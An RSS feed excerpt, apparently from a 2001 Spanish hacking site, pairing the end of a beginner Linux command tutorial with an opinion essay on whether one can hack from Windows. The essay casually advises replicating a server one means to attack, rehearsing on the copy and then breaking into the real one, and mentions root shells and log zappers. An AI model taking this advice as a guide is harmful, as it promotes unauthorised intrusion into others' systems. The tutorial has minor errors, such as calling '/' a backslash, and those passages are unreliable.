<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ clear</td>
</tr>
</table>
<p>Y la pantalla se nos limpia, de todas formas si pulsamos la combinaciÃ³n de teclas Control + L, se nos limpia la pantalla tambiÃ©n.</p>
<p><b>TIP 1:</b> Linux distingue las mayÃºsculas de las minÃºsculas</p>
<p>La siguiente Ã³rden, &quot;ls&quot;, lista el contenido de un directorio, un directorio es el equivalente a una carpeta de trabajo, como las que tenemos en Windows, solo que no la vemos en una ventana. &quot;ls&quot; viene de la contracciÃ³n de la palabra inglesa &quot;list&quot;, en castellano &quot;LiStar&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>Â¿QuÃ© ha pasado?, Â¿no ha funcionado?, por lo visto no hay ningÃºn fichero en la carpeta en la que estamos y por lo tanto no ha devuelto nada.</p>
<p><b>TIP 2:</b> Cuando Linux no tiene nada que decir, no dice nada.</p>
<p>Si no tenemos ficheros, pues nos lo hacemos, vamos a empezar por otra carpeta.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir mi carpeta<br />
[genaro]$</td>
</tr>
</table>
<p>Y vamos a ver si la ha creado.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
carpeta mi<br />
[genaro]$</td>
</tr>
</table>
<p>Opssss, Â¿ha puesto el nombre del directorio al reves?, no, resulta que ha creado dos directorios, un directorio &quot;mi&quot; y un directorio &quot;carpeta&quot;, vamos a intentarlo de otra forma:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]_</td>
</tr>
</table>
<p>dabuten, si queremos cambiar de directorio, usamos la Ã³rden &quot;cd&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd<br />
carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>Observamos, que el prompt ha cambiado, indicando el directorio en el que estamos, en cualquier momento podemos hallar el directorio en el cual estamos situados usando la Ã³rden pwd.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta]$ pwd<br />
/home/genaro/carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>El mensaje que nos ha respondido quiere decir, que estamos en el directorio carpeta, que estÃ¡ dentro del directorio genaro que a su vez estÃ¡ en el directorio home. Linux, al igual que todos los Unix, utiliza para separar los directorios el sÃ­mbolo correcto, o sea el &quot;/&quot;, &#8216;backslack&#8217;, de hecho es el que se utiliza en los URL de internet.</p>
<p>El directorio mÃ¡s alto de todos, es el directorio &quot;/&quot;, llamado directorio raiz, un directorio, puede contener varios directorios, llamados subdirectorios, o directorios hijos, pero un directorio hijo, o subdirectorio, no puede contener varios directorios padres. Para subir en la jerarquÃ­a de directorios, podemos teclear.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta] cd ..<br />
[genaro] _</td>
</tr>
</table>
<p>Los dos puntitos separados del cd, pues de lo contrario, no se reconocerÃ¡ la Ã³rden. TambiÃ©n podÃ­amos haber dado el camino completo, veamos como:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd /home/genaro<br />
[genaro] _</td>
</tr>
</table>
<p>La primera Ã³rden cd -, vuelve al anterior directorio en el que hayamos estado, y con la segÃºnda Ã³rden, indicamos el camino completo. TambiÃ©n se puede indicar un camino relativo, veamos como.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd ../mi<br />
[mi] cd ../../genaro<br />
[genaro] cd mi<br />
[mi] _</td>
</tr>
</table>
<p>El directorio &quot;mi&quot;, estÃ¡ a la misma altura que el directorio &quot;carpeta&quot;, ambos cuelgan del directorio &quot;genaro&quot;, asi que vamos al directorio &quot;mi&quot; dando como referencia el directorio padre, (los dos puntos), &quot;../mi&quot;. Estando en el directorio &quot;mi&quot;, la Ã³rden &quot;cd ../../genaro&quot; es equivalente a &quot;cd ..&quot;, simplemente hemos dado un rodeo. Voy a introducir en este punto una Ã³rden, la Ã³rden es &quot;touch&quot;, sirve para crear un fichero si no existe.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ touch fichero1<br />
[mi]$ ls<br />
fichero1</td>
</tr>
</table>
<p>Hemos creado un fichero llamado &quot;fichero1&quot;, este fichero estarÃ¡ vacÃ­o, no contiene nada. Vamos al directorio padre, y vamos con lo Ãºltimo que nos queda de los directorios, el borrado de estos. El borrado de directorios se hace con &quot;rmdir&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[mi]$ cd ..<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]$ rmdir carpeta<br />
[genaro]$ ls<br />
mi mi carpeta<br />
[genaro]$ rmdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
mi<br />
[genaro]$ rmdir mi<br />
rmdir: mi: Directory not empty<br />
[genaro] _</td>
</tr>
</table>
<p>No podemos borrar el directorio &quot;mi&quot;, por que hemos creado antes el fichero &quot;fichero1&quot;. tenemos que entrar en ese directorio, borrar el fichero, volver y borrar el directorio. Para borrar ficheros, usamos la Ã³rden &quot;rm&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd mi<br />
[mi]$ rm fichero1<br />
[mi]$ ls<br />
[mi]$ cd ..<br />
[genaro]$ rmdir mi<br />
[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>Ya estÃ¡, hay otra forma de borrar directorios que no estÃ¡n vacios, es con la Ã³rden &quot;rm -r&quot;, la r de recursivo. Para salir de una sesiÃ³n abierta de Linux, se usa la Ã³rden exit.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ exit<br />
Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>Y volveremos a ver el login inicial. De momento y como no sabemos parar un sistema Linux, para pararlo usamos la combinaciÃ³n de teclas &quot;Control + Alt + Delete&quot;, cuando estÃ© el ordenador a punto de arrancar otra vez, lo para pulsando el botÃ³n de power.</p>
<p>Resumen: hasta ahora hemos visto:</p>
<li>Entrar y salir en una sesiÃ³n.</li>
<li>QuÃ© es esa pantalla negra.</li>
<li>Crear y borrar directorios.</li>
<li>Moverse entre directorios.</li>
<li>QuÃ© fichero hay en cada directorio.</li>
<li>Borrar ficheros.</li>
<p>PrÃ³xima sesiÃ³n, mÃ¡s de lo mismo.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Â¿Se puede hackear desde Windows?</title>
		<link>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:03:18 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[filosofia hacker]]></category>
		<category><![CDATA[hackear]]></category>
		<category><![CDATA[hackear windows]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking windows]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=51</guid>
		<description><![CDATA[##################################### ##Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  HACKINDEXÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â ## ##Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  http://www.hackindex.orgÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  ## ##################################### Titulo: Â¿Se puede hackear desde Windows? Autor: Lokutus Tema: Windows La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  HACKINDEXÂ Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â ##<br />
##Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <a href="http://www.hackindex.org">http://www.hackindex.org</a>Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  ##<br />
#####################################<br />
Titulo: Â¿Se puede hackear desde Windows?<br />
Autor: Lokutus<br />
Tema: Windows</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Â¿SE PUEDE HACKEAR DESDE WINDOWS?<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>A veces, y leyendo las news o algÃºn foro desde la web, uno se encuentra afirmaciones tales como, &#8220;No se puede hacer hacking desde Windows&#8221;, &#8220;para ser hacker tienes que tener linux, si no eres un lamer&#8221;</p>
<p>Aclaremos un primer punto, Â¿quÃ© es un hacker?, existen casi tantas definiciones como personas existen.</p>
<p>Si nos vamos al lexicon, o leemos el artÃ­culo de Richard Stalmand acerca de &#8220;como ser un hacker&#8221;, observamos que segÃºn algunos circulos, ser hacker no consiste en romper la seguridad de sistemas informÃ¡ticos, si no en resolver problemas, desarrollar software libre, hacer traducciones, soporte gratuito en las news y en el IRC ayudando a los que tienen problemas, e incluso hacer trabajos menos reconocidos como moderar grupos de noticias o listas de correo.</p>
<p>Bajo ese punto de vista, es obvio que se puede desarrollar software libre para cualquier sistema operativo, ya sea Windows, BeOS, Linux o BSD en cualquiera de sus variantes. Y desde ese punto de vista, es probable que existan mÃ¡s hackers en &#8220;es.comp.linux.misc&#8221; que en &#8220;es.comp.hackers&#8221;.</p>
<p>A menudo leyendo documentaciones o escritos procedentes del mundo del software libre, encuentro la palabra &#8220;hackear&#8221;, a veces esa palabra la traduzco como &#8220;desarrollar&#8221;, y otras veces como &#8220;hacer ingenierÃ­a inversa&#8221; o &#8220;aprender todo acerca del funcionamiento del software XXX&#8221;.</p>
<p>Por ejemplo, cuando alguien intenta hallar el formato de un tipo de documento, o grÃ¡ficos que no estÃ¡ documentado, o un protocolo, estÃ¡ hackeando. Los que programaron el software para ver DVD en linux, hackearon el sistema de encriptaciÃ³n del DVD.</p>
<p>Naturalmente, Windows es una plataforma mÃ¡s cerrada sobre la que tienes menos informaciÃ³n, y hay cosas que desearÃ­a desarrollar pero que no puedo hacerlas por carecer de informaciÃ³n tÃ©cnica. Sin embargo en Linux hay toda la informaciÃ³n que necesito.</p>
<p>Si nos centramos en el otro significado de la palabra &#8220;hacker&#8221;, invadir sistemas informÃ¡ticos ajenos, o al menos ser capaz de hacerlo. TambiÃ©n se puede hacer desde Windows. Nuevamente, es posible que inicialmente carezcamos de Herramientas, pero poco a poco podemos conseguirlas.</p>
<p>Por otro lado, muchas herramientas no se van a ejecutar en la mÃ¡quina del &#8220;hacker&#8221; si no en la mÃ¡quina destino, como los root shell, los zapper, etc.</p>
<p>A veces en la mÃ¡quina &#8220;victima&#8221; no dispondrÃ¡ de compilador, y necesitaremos compilar en nuestra propia mÃ¡quina las &#8220;herramientas&#8221;, pero, Â¿y si tienes linux y la mÃ¡quina destino es un Solaris?, Â¿y si una vez escarmentado, te has instalado solaris y la mÃ¡quina de destino es un BSD en plataforma Power PC?, por muchos sistemas operativos que tengamos instalados siempre nos encontraremos con el problema de no poder compilar una herramienta.</p>
<p>Un hacker, segÃºn muchas definiciones, es ante todo un forofo de la informÃ¡tica, alguien que siempre estÃ¡ liado con ordenadores, y en mi opiniÃ³n un forofo lo mismo que en un momento dado trastea con Linux, en el momento siguiente estÃ¡ trasteando con Windows 2000, y en el siguiente con BSD.</p>
<p>Â¿Visteis la pelÃ­cula &#8220;RAMBO&#8221; cuando dice, &#8220;yo he pilotado tanques, helicopteros, y he manejado todo tipo de armas&#8221;?, pues es un poco, como ser un &#8220;RAMBO&#8221; pero de la informÃ¡tica, ser capaz de pilotar cualquier sistema operativo que le pongan por delante, poder meterse con cualquier lenguaje de programaciÃ³n, o al menos aprenderlo en poco tiempo.</p>
<p>Si, si, ya se que el que mucho abarca poco aprieta, pero el que tiene los conceptos bien claros, puede abarcar mucho, un desarrollador de software experto, cuando piensa en una arquitectura de software, le importa tres carajos en quÃ© lenguaje de programaciÃ³n se va a desarrollar. A ningÃºn programador de verdad, le asusta meterse de repente en Modula 2 cuando siempre ha programado en C, por ejemplo.</p>
<p>De la misma forma, meterse de repente con Open VMS, o con MVS no deberÃ­a asustar a nadie si tiene los conceptos claros acerca de quÃ© es un sistema operativo y como funciona. Al principio tendrÃ¡ que ler mucho y hacerse chuletas, pero en un par de semanas como el que mÃ¡s.</p>
<p>En mi opiniÃ³n, e independientemente del concepto de &#8220;hacker&#8221; que tengamos, puede ser util montarse un laboratorio &#8220;hacker&#8221; en casa, siempre y cuando sea posible.</p>
<p>Para empezar, aunque no imprescindible, pero si muy, muy aconsejable, disponer de varios ordenadores, yo en casa tengo siete ordenadores, pero si vivis con vuestros padres o estais casados no es aconsejable tener tantos, puesto que podeis tener problemas familiares, y puede que os envien a una terapia de grupo.</p>
<p>Un segundo o tercer ordenador, lo podeis conseguir de segunda mano bastante baratos, por ejemplo los que vivais en Madrid, podeis conseguir un Pentium 90 &#8211; 100 por unas 20.000.</p>
<p>Lo que llevais un tiempo usando ordenadores y sabeis algo de hartware, es muy probable que cada cierto tiempo actualizais vuestro ordenador, le cambiais la placa base, la tarjeta de video, y poco a poco, os encontrais con que teneis el ordenador original que tenÃ­ais en piezas sueltas, en ese caso, sÃ³lo os falta compraros una caja minitorre para tener un segundo o tercer PC.</p>
<p>El segundo paso es instalaros una pequeÃ±a red local en vuestra casa, las tarjetas de red actualmente estÃ¡n tiradas de precio, por unas 2000 pesetas podeis conseguirlas. Un Hub de 4 puertos tampoco vale tanto, aunque os lo podeis ahorrar si adquiris tarjetas con conectores de varios tipos y os instalais la red con cableado coaxial.</p>
<p>Tambien os podeis ahorrar la compra de varios monitores con un conmutador de pantalla-teclado-raton, hay dos tipos de este dispositivo, los mÃ¡s baratos, son una vulgar caja con un conmutador de galleta dentro, eso suele dar problemas al conmutar, por ejemplo que el teclado deje de funcionar y tengais que rearrancar un ordenador. A veces por culpa de los falsos contactos, se os puede poner el monitor de color verde, o azul.</p>
<p>Los digitales, cuestan algo mÃ¡s de dinero, pero merecen la pena.</p>
<p>Usando varios ordenadores, podeis instalaros varios sistemas operativos, Windows, Linux, BSD, servidores web.</p>
<p>Si os va el hacking de guante blanco, podeis usar vuestra red casera para probar aplicaciones cliente servidor,</p>
<p>Si os va el lado oscuro de la fuerza, podeis usar vuestra red casera para replicar en una de vuestras mÃ¡quinas un servidor que querais atacar, (las mismas versiones de todo), y probar a atacar vuestro propio servidor, cuando consigais entrar, lo intentais con el servidor que habeis replicado de tal forma que vais directamente al grano.</p>
<p>E incluso si solo intentais aprender acerca de seguridad informÃ¡tica, podeis intentar atacar un servidor vuestro, y desde el servidor observar en quÃ© notais el ataque.</p>
<p>Por ejemplo, he observado que en un Linux, sin ninguna herramienta de seguridad, son mÃ¡s invisibles los escaneos de puerto de tipo full que los invisibles de tipo &#8220;sync&#8221;, por que algunos software de servidor, cuando reciben una trama &#8220;sync&#8221;, envÃ­an un mensaje de error al fichero de trazas.</p>
<p>Por otro lado, muchos, muchÃ­simos bugs de seguridad, surgen para plataformas Windows, de tal forma que, Â¿es posible detectar un bug en Windows si solo usas linux?, pues no. De hecho algo de lo que estoy convencido, es que muchos bugs de seguridad que aparecen tanto para Windows como para Linux, no han sido descubiertos por grupos de hackers, si no por administradores de sistemas, que los trabajan dia a dia o por empresas de seguridad informÃ¡tica.</p>
<p>Resumen: Â¿Es &#8220;vergonzoso&#8221; usar OutLook para enviar a las news?, cada cual usa lo que quiere o le apetece, a veces uso OutLook desde Windows y a veces netscape desde Linux, depende de lo que estÃ© haciendo,</p>
<p>Si envio mensajes desde Windows, o bien estoy en el trabajo, o bien estoy desarrollando algo en VC++. O estoy asimilando un virus. Si envÃ­o algo desde Linux, o bien estoy en el IRC, o bien estoy haciendo un simulador de troyanos en GTK efilon plan experimental.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/se-puede-hackear-desde-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
